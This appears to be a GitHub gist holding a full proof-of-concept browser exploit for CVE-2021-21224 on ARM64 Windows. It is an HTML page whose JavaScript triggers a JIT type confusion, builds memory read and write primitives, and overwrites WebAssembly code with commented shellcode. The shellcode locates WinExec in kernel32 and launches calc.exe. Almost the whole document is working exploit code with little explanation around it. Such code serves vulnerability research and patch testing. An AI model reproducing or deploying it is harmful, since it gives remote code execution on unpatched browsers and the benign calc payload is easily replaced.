Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Sample ARM64 PoC for CVE-2021-21224
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [
// Move x18 to x28 (TEB)
// mov x28, x18
0xfc, 0x03, 0x12, 0xaa,
// add 0x60 to the TEB address to get PEB
// add x28, x28, #0x60
0x9c, 0x83, 0x01, 0x91,
// load PEB address into x27
// ldr x27, [x28]
0x9b, 0x03, 0x40, 0xf9,
// Add 0x10 to PEB address to get PEB_LDR_DATA
// add, x27, x27, #0x18
0x7b, 0x63, 0x00, 0x91,
// Load BEP_LDR_DATA into x27
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0xf9,
// Add 0x10 to PEB address to get LDR_MODULE InLoadOrder[0] (process)
// add, x27, x27, #0x10
0x7b, 0x43, 0x00, 0x91,
// Load BEP_LDR_DATA into x27
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0xf9,
// Dereference x27 into x27
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0xf9,
// Dereference x27 into x27
// ldr x27, [x27]
0x7b, 0x03, 0x40, 0xf9,
// Add 0x30 to LDR_MODULE InLoadOrder[0] (process) to get kernel32.dll load address
// add, x27, x27, #0x10
0x7b, 0xc3, 0x00, 0x91,
// Dereference x27 into x28
// ldr x28, [x27]
0x7c, 0x03, 0x40, 0xf9,
// Registers at this point:
// x28: Load address of kernel32.dll
// Load kernel32.dll + 0xc into x27 (PE Offset)
// ldrb w27, [x28, #0x3c]
0x9b, 0xf3, 0x40, 0x39,
// Add PE Offset to kernel32.dll base
// add x27, x28, x27
0x9b, 0x03, 0x1b, 0x8b,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Address of PE header
////////////////////////////////////////////////////////
// Add 0x88 to PE header to get to Export table, put in x27
// Many tutorials say 0x78, but that's only valid for 32-bit platforms
// add x27, x27, #0x88
0x7b, 0x23, 0x02, 0x91,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Address of Data directory
////////////////////////////////////////////////////////
// Virtual address of Exports table is first entry in Data directory
// Get offset of Exports table, and put into x26 (0x124450)
// ldr w26, [x27]
0x7a, 0x03, 0x40, 0xb9,
// Add offset of Exports table to base of kernel32.dll, put in x27
// add x27, x28, x26
0x9b, 0x03, 0x1a, 0x8b,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export Table
////////////////////////////////////////////////////////
// Go 0x1c past beginning of table to get address of function address table, put in x19
// add x19, x27, #0x1c
0x73, 0x73, 0x00, 0x91,
// Go 0x20 past beginning of table to get address of function name pointer table, put in x23
// add x23, x27, #0x20
0x77, 0x83, 0x00, 0x91,
// Go 0x24 past beginning of table to get address of function name pointer table, put in x15
// add x15, x27, #0x24
0x6f, 0x93, 0x00, 0x91,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffb37ec4450)
// x23: Pointer to RVA of Name pointer table (e.g. 0007ffb37ec4470)
// x19: Pointer to RVA of Address pointer table (e.g. 00007ffb37ec446c)
// x15: Pointer to RVA of Ordinal table (e.g. 00007ffb37ec4474)
////////////////////////////////////////////////////////
// Convert RVAs of our 3 pointer tables to actual addresses
// where kernel32.dll is loaded
// Get RVA of Name Pointer Table, and put into x26 (0x124450)
// ldr w26, [x23]
0xfa, 0x02, 0x40, 0xb9,
// Add RVA of Name Pointer table to base of kernel32.dll
// add x23, x28, x26
0x97, 0x03, 0x1a, 0x8b,
// Get RVA of Function Pointer Table, and put into x26 (0x124450)
// ldr w26, [x19]
0x7a, 0x02, 0x40, 0xb9,
// Add RVA of Function Pointer table to base of kernel32.dll, put in x19
// add x19, x28, x26
0x93, 0x03, 0x1a, 0x8b,
// Get RVA of Function Pointer Table, and put into x26 (0x124450)
// ldr w26, [x15]
0xfa, 0x01, 0x40, 0xb9,
// Add RVA of Function Pointer table to base of kernel32.dll, put in x19
// add x15, x28, x26
0x8f, 0x03, 0x1a, 0x8b,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffb37ec4450)
// x23: Name pointer table (e.g. 00007ffb37ec7814)
// x19: Address pointer table (e.g. 00007ffc6fec4478)
// x15: Ordinal table (e.g. 00007ffc6fec91c8)
////////////////////////////////////////////////////////
// Load our string to look for "WinE" into x20
// movz x20, #0x6957
0xF4, 0x2a, 0x8d, 0xd2,
// movk x20, #0x456e, lsl #16
0xd4, 0xad, 0xa8, 0xf2,
// Subtract 4 from x27 to prepare for stupid loop structure
// sub x23, x23, #4
0xf7, 0x12, 0x00, 0xd1,
// subtract 1 from x0 to prepare for stupid loop structure
// sub x0, x0, #1
0x00, 0x004, 0x00, 0xd1,
// Loop:
// Counter for exported functions
// add x0, x0, 1
0x00, 0x04, 0x00, 0x91,
// Increment to next name in the list
// add x23, x23, 4
0xf7, 0x12, 0x00, 0x91,
// Load first export name offset into x23
// x23 points to beginning of export name table
// ldr w22, [x23]
0xf6, 0x02, 0x40, 0xb9,
// Apply offset to kernel32 base, put in x21
// add x21, x28, x22
0x95, 0x03, 0x16, 0x8b,
// Load the first 4 bytes of the export name into x20
// ldr w16, [x21]
0xb0, 0x02, 0x40, 0xb9,
//cmp x16, x20
0x1f, 0x02, 0x14, 0xeb,
// BNE loop
0x41, 0xff, 0xff, 0x54,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffb37ec4450)
// x23: Name pointer table (e.g. 00007ffb37ec7814)
// x19: Address pointer table (e.g. 00007ffb37ec4478)
// x15: Ordinal table (e.g. 00007ffc6fec91c8)
// x0: Function number of WinExec() (0x622 / 1570)
////////////////////////////////////////////////////////
// Convert function number to ordinal number.
// Usually they're the same.
// Move 2 into x3
// mov x3, #2
0x43, 0x00, 0x80, 0xd2,
// Multiply function number (x0) by 2
// mul x0, x0, x3
0x00, 0x7c, 0x03, 0x9b,
// Increment by offset (function number * 2) into Ordinal table
// add x15, x15, x0
0xef, 0x01, 0x00, 0x8b,
// Put actual ordinal number into x0
// ldrh w0, [x15]
0xe0, 0x01, 0x40, 0x79,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffb37ec4450)
// x23: Name pointer table (e.g. 00007ffb37ec7814)
// x19: Address pointer table (e.g. 00007ffb37ec4478)
// x15: Ordinal table (e.g. 00007ffc6fec91c8)
// x0: Ordinal number of WinExec() (0x622 / 1570)
////////////////////////////////////////////////////////
// To get the location of the address you want:
// Multiply the Ordinal * 4, and use that as the offset into the address table
// Move 4 into x2
// mov x2, #4
0x82, 0x00, 0x80, 0xd2,
// Multiply x0 (Ordinal) by x2 (4)
// mul x0, x0, x2
0x00, 0x7c, 0x02, 0x9b,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffb37ec4450)
// x23: Name pointer table (e.g. 00007ffb37ec7814)
// x19: Address pointer table (e.g. 00007ffb37ec4478)
// x15: Ordinal pointer table (e.g. 00007ffc6fec91c8)
// x0: RVA of WinExec (e.g. 0x1888)
////////////////////////////////////////////////////////
// Increment Function address table by offest of WinExec() function
// add x19, x19, x0
0x73, 0x02, 0x00, 0x8b,
// Get RVA of WinExec(), and put into x26 (0x124450)
// ldr w26, [x19]
0x7a, 0x02, 0x40, 0xb9,
// Add RVA of WinExec() to base of kernel32.dll, put in x8
// add x8, x28, x26
0x88, 0x03, 0x1a, 0x8b,
////////////////////////////////////////////////////////
// Registers at this point:
// x28: Load address of kernel32.dll
// x27: Export table (e.g. 00007ffb37ec4450)
// x23: Name pointer table (e.g. 00007ffb37ec7814)
// x19: Address pointer table (e.g. 00007ffb37ec4478)
// x15: Ordinal pointer table (e.g. 00007ffc6fec91c8)
// x8: Address of WinExec()
// x0: RVA of WinExec
////////////////////////////////////////////////////////
// Now that we have WinExec() in x8, prepare the call to it.
// We don't really care about existing registers other than x8
// move sp into x9
// Indexing into SP can be tricky due to alignment requirements
// mov, x9, sp
0xe9, 0x03, 0x00, 0x91,
// Increment x9 by 8
// add, x9, x9, #8
0x29, 0x21, 0x00, 0x91,
// Put CALC.EXE in x0
// AC
// movz x0, #0x4143
0x60, 0x28, 0x88, 0xD2,
// CL
// movk x0, #0x434c
0x80, 0x69, 0xA8, 0xF2,
// E.
// movk x0, #452e
0xc0, 0xa5, 0xC8, 0xF2,
// EX
// movk x0, #4558
0x00, 0xab, 0xE8, 0xF2,
// put x0 on x9-stack
// str, x0, [x9], #8
0x20, 0x85, 0x00, 0xF8,
// Terminate string with a null:
// Put null into x0
// movz, x0, #0
0x00, 0x00, 0x80, 0xD2,
// put x0 on x9-stack
// str x0, [x9], #8
0x20, 0x85, 0x00, 0xF8,
// Put the pointer to "CALC.EXE\0" into x0
// mov x0, x9
0xe0, 0x03, 0x09, 0xaa,
// Ajust pointer to point to beginning of string
// sub, x0, 0x, #0x10
0x00, 0x40, 0x00, 0xd1,
// put 0x1 in x1 (second argument to WinExec)
// movz x1, #0x01
0x21, 0x00, 0x80, 0xd2,
// Call WinExec()
// jalr x8
0x00, 0x01, 0x3F, 0xD6,
// Trigger crash
// ldr x11, [x10]
//0x4b, 0x01, 0x40, 0xf9,
// Infinite loop, because why not?
// 0x00, 0x00, 0x00, 0x14,
];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment